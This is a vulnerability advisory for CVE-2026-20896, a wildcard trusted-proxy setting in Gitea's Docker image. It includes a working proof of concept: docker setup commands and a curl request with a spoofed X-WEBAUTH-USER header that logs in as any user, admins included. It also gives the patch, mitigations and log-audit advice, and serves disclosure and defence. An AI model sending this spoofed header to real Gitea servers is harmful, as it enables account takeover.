CVE-2026-20896: Gitea Docker Image Authentication Bypass via Spoofed X-WEBAUTH-USER Header
The official Gitea Docker image hard-codes a wildcard trusted-proxy setting that lets any client impersonate any Gitea user, including admins, with a single HTTP header and no password.
The problem
The Gitea Docker image ships an app.ini template with REVERSE_PROXY_TRUSTED_PROXIES = * hardcoded at docker/root/etc/templates/app.ini:55 and docker/rootless/etc/templates/app.ini:52.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true, Gitea trusts the X-WEBAUTH-USER header to determine the authenticated user identity. Because the Docker template overrides the safe default (127.0.0.0/8,::1/128) with a wildcard, every source IP is considered a trusted proxy.
Any client that can reach port 3000 on the container can authenticate as any known username, with no password or token required.
Proof of concept
A working proof-of-concept for CVE-2026-20896 in code.gitea.io/gitea, with the exact payload below.
# 1. Spin up a vulnerable instance
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
# 2. Create a target user (simulates an existing account)
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email alice@x.test --must-change-password=false
# 3. Exploit: impersonate alice with one header, no password
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
# Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title>
# Replace "alice" with any existing username, including admin accounts.Gitea's reverse-proxy auth middleware checks whether the request's source IP falls inside REVERSE_PROXY_TRUSTED_PROXIES before accepting the X-WEBAUTH-USER header. With * as the value, every IP passes that check, so the header is accepted unconditionally.
The patch (PR #38151, commit 99f8b3d) removes the REVERSE_PROXY_LIMIT and REVERSE_PROXY_TRUSTED_PROXIES lines entirely from both Docker app.ini templates. Dropping those lines causes Gitea to fall back to the documented safe default (127.0.0.0/8,::1/128), so only loopback connections can inject identity headers.
The root cause is CWE-284: the Docker image inadvertently granted every network peer the trust level reserved for the local reverse proxy.
The fix
Upgrade to gitea/gitea:1.26.4 (skip 1.26.3, which introduced a regression on repository code pages). If you cannot patch immediately, add the following to app.ini and restart:
[security] REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
Also restrict Gitea's HTTP port at the network level so only the actual reverse proxy process can reach the container. Audit access logs for any requests containing X-WEBAUTH-USER originating from non-loopback IPs.
Reported by Joshua Martinelle (Tenable) and Ali Mustafa (@rz1027).
Related research
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- high · 7.5CVE-2026-58421CVE-2026-58421: Gitea CODEOWNERS ReDoS via Unbounded regexp2 Match
- high · 7.1CVE-2026-58437CVE-2026-58437: Gitea Repository Visibility Manipulation via Git Push Options